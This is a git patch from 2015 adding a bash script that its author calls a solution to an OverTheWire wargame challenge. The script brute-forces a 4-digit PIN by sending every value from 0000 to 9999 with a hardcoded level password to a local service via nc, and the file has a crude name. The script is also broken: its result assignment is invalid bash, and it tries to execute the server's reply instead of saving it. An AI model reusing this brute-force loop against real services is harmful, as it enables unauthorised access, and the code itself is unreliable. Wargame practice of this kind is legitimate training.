From 362187c838b6f141590b8901e7c4e29daf64fcaf Mon Sep 17 00:00:00 2001 From: unknown Date: Fri, 13 Nov 2015 12:13:09 +0100 Subject: [PATCH] Added my solution foor an overthewire challenge --- overthewire/brutebuttfucker.sh | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 overthewire/brutebuttfucker.sh diff --git a/overthewire/brutebuttfucker.sh b/overthewire/brutebuttfucker.sh new file mode 100644 index 0000000..fe3c04a --- /dev/null +++ b/overthewire/brutebuttfucker.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +for i in {0000..9999}; +do + vanlig=$(echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002) + + result = $(echo "$vanlig" | grep -o "Correct!") + + echo "trying $i | $result" + + if [[ $result = "Correct!" ]]; then + $vanlig > ./password.txt + fi +done \ No newline at end of file